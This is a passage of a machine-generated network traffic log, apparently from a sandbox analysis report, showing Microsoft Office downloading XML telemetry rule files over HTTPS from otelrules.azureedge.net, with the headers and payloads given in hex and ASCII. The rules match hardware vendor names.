20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 2fd6bd5d-d01e-007a-394f-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051700Z-16849878b782d4lwcu6h6gmxnw000000077000000000c5w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051700Z-15b8d89586fst84kttks1s2css00000001bg000000001171 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051700Z-16849878b78x6gn56mgecg60qc00000009fg000000000vp6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051701Z-16849878b78qg9mlz11wgn0wcc000000076g000000005yck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4f99c795-b01e-0097-3bfd-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051701Z-15b8d89586fdmfsg1u7xrpfws00000000br000000000ekmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 864201cb-901e-0015-2b18-26b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051701Z-16849878b78p49s6zkwt11bbkn000000079g000000003zn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ef4969e5-401e-002a-2c3c-28c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051701Z-15b8d89586fvpb59307bn2rcac00000002r0000000005z29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b7bd549c-e01e-0003-5b3c-280fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051701Z-17c5cb586f6hn8cl90dxzu28kw00000007qg000000005fta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:02 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051702Z-r197bdfb6b46kdskt78qagqq1c00000007vg000000004pf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:02 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:02 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051702Z-16849878b785jrf8dn0d2rczaw00000008tg000000004ces x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:02 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051702Z-17c5cb586f6f8m6jnehy0z65x400000006t000000000cwbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:02 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051702Z-16849878b78j7llf5vkyvvcehs00000008k000000000mybf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
